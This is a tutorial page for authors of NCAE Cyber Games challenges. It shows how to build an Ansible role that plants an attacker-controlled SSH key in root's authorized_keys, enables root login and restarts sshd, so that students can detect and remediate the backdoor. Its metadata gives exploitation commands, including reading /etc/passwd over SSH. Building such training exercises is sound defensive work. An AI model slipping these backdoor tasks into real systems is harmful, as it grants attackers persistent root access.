NCAE Cyber Games infrastructure challenges are written as Ansible roles. The page Ansible Basics can be reviewed to gain a basic understand of the Ansible concepts used in this document.
Please contact NCAE Cyber with any questions regarding challenges at:
- Email: opfor-content@c2games.org
- Discord: https://discord.gg/H2jwMxt
This page assumes you have downloaded the infrastructure-examples Repository, and are performing development within the uncompressed directory structure. This repository contains an Ansible playbook, configuration file, and example Ansible roles to get started from. The repository can be downloaded as a .zip file by clicking the download icon, then the ZIP button, as shown below.
SSH Authorized Keys Example
This example will walk through creating a new Challenge named "SSH Authorized Keys", which is an example available in our Examples repository. This challenge will install the required dependencies, ensure the required directories and files exist, ensure a configuration file is set correctly, and copy in a malicious authorized key.
Creating a new role
A new role can be created by copying the directory roles/template/
to a new name within roles/
. The directory name will define the name of the role.
cp -r roles/template roles/ssh_authorized_keys
Adding the Role to the Playbook
The first time a new Role is executed, it must be added to the Ansible playbook being executed. The included playbook, playbook.yml
, can be modified for this purpose. We recommend removing or commenting the example roles from this file, and adding only the role currently under development.
In this example, we’ll remove all other roles, and add our new ssh_authorized_keys
role. The fileshould look like this:
---
- hosts: all
user: ansible
become: yes
become_method: sudo
vars_files:
# Include ansible configuration from separate file
- config.yml
tasks:
- include_role:
name: ssh_authorized_keys
Writing the Challenge
Adding Tasks
The first step to creating a new role is to add some tasks to the tasks/main.yml
file. We’ll start by adding some tasks to ensure OpenSSH server is installed, and the authorized keys files exist.
# roles/ssh_authorized_keys/tasks/main.yml
---
# Install ssh package
- name: Install OpenSSH server
package:
name: "openssh-server"
state: present
- name: Root SSH directory exists with correct permissions
file:
path: /root/.ssh
owner: root
mode: 0700
state: directory
- name: Root Authorized Keys file exists with correct permissions
file:
path: /root/.ssh/authorized_keys
owner: root
mode: 0600
state: touch
Adding Variables
Ansible has several places that variables can be defined. To ensure the default SSH key can be overwritten with a new SSH key appropriate for the environment, we can set the value in defaults/main.yml
.
# roles/ssh_authorized_keys/defaults/main.yml
---
# Default variables to be used under ../tasks if not populated elsewhere
malicious_public_key: "/QtGyyT20wvUKlaOjeBnOTSp8+ieI2QD4a8H4hBY3NqR/KHo7axPai773Ex89noAGHHFBs5fbW1fdT
z3fzzHRLPWfzhJN0qkI/IUD5FQDFUP5F/oJSd9GvHMjtjZEIF/N3K7FgQ8KrD5/99PVLgFkQD1pg0fhSrTkV093GnNXgacDl6LgteW
yAnDQZv5taT4LsIJrf0AIcnq5ZxwST9V15a4gzKN98VwgFpwNlOZHDKg769cQy4wre4chmQ58h7HiqySsnpgAkDDpZf5Z6/MnHMF/a
vK8Ttx7EqvaSQ7ipnCNpFDCv3dIYD8eN/l1xaXtbyO8AJQXt7hINSmwwhh0GvsUGNqHW9ugpzxlzX+rbW6P1FiIk="
Then, we can add a task to tasks/main.yml
that uses the key using the Jinja templating syntax, {{ variable_name }}
.
# roles/ssh_authorized_keys/tasks/main.yml
---
# Add our public key to roots authorized_keys file, if it is not already there
- name: Set Root Authorized Key
lineinfile:
path: /root/.ssh/authorized_keys
line: "{{ malicious_public_key }}"
Testing the Role
When the role is ready for testing, it can be executing using the playbook.yml
file
[set up above](#Adding the Role to the Playbook).
The ansible-playbook
command is used to execute the playbook. The IP Addresses should be replaced to match the test systems in your environment.
All challenges should be tested against at least one Debian/Ubuntu based system, and one CentOS-based system.
NOTE: If testing against only a single host, a trailing comma must be used.
ansible-playbook -i 10.1.10.17,10.1.10.18 playbook.yml
# Single host example
ansible-playbook -i 10.1.10.17, playbook.yml
Refining the Role
After testing, our playbook executed successfully first try – wow! Unfortunately, after some testing, we discover that we can’t use our new key to authenticate as root. After some digging around, we discover the following line in /etc/ssh/sshd_config
:
PermitRootLogin no
Doh! Easy fix, we’ll just add the following task to our tasks/main.yml
file:
# roles/ssh_authorized_keys/tasks/main.yml
---
# Edit sshd_config to allow for remote ssh root login
- name: Allow Root Login
lineinfile:
path: /etc/ssh/sshd_config
regexp: '^#?PermitRootLogin.*'
line: "PermitRootLogin yes"
notify:
- Restart SSH
We know that changing the sshd_config file requires a service restart. For this task, we define a new handler in handlers/main.yml
, and use the notify
keyword to let Ansible know that SSH needs restarted if that file is changed.
# Restart SSH service. Let ansible decide on the mechanism: systemd, services etc.
- name: Restart SSH
ansible.builtin.service:
name: sshd
state: restarted
NOTE: The handler will only trigger if the sshd_config
file is changed. If a file change is not required, the service will not be restarted.
Re-testing the Role
When a role is re-tested, the test VMs should be rolled back to a clean snapshot before testing. Once the VM has been rolled back to a clean snapshot, run the role again using the same ansible-playbook
command.
ansible-playbook -i 10.1.10.17,10.1.10.18 playbook.yml
This time, we test with ssh -i path/to/bad_key root@IP
and both hosts work correctly!
Completing the C2 Games Metadata File
Now that the Ansible role is complete, we just need to fill out the template c2games.yml
Metadata file. See the Infrastructure Challenge Submissions page for more information on each field within this file. Here is an example for ssh_authorized_keys
.
Any questions about this file should be sent to the support email or asked in the Discord linked above.
# roles/ssh_authorized_keys/c2games.yml
---
Title: 'Malicious Authorized Keys'
Version: 1.0
Author: 'Brodie Davis'
Organization: 'C2 Games'
Type: 'Misconfiguration'
Difficulty: 4
Description: >
Installs malicious SSH keys on the system for remote access to the root user
OSCompatibility:
- Family: Linux
Name: Ubuntu
Version: 18.04
- Family: Linux
Name: CentOS
Version: 7
Exploitation:
- Example: ssh -i malicious_key root@192.168.1.1
Description: >
SSH As root into the System to escalate privileges
- Example: ssh -i malicious_key user@192.168.1.1 cat /etc/passwd
Description: >
SSH as a normal user into the system and run a single command
to achieve remote code execution without a persistent session
Mitigation: >
Remove the Malicious SSH Keys.
Training: >
An exercise explaining SSH keys, and their ability to provide remote access
into to a system. The exercise should also review the SSHD service
configuration file, and options that may be used to secure the SSHD service.
Justification: >
This challenge covers the skills required to configure and
secure an OpenSSH service. The student must demonstrate that they
can identify invalid or insecure configurations within an existing
environment, and reconfigure the service to a functional and secure state.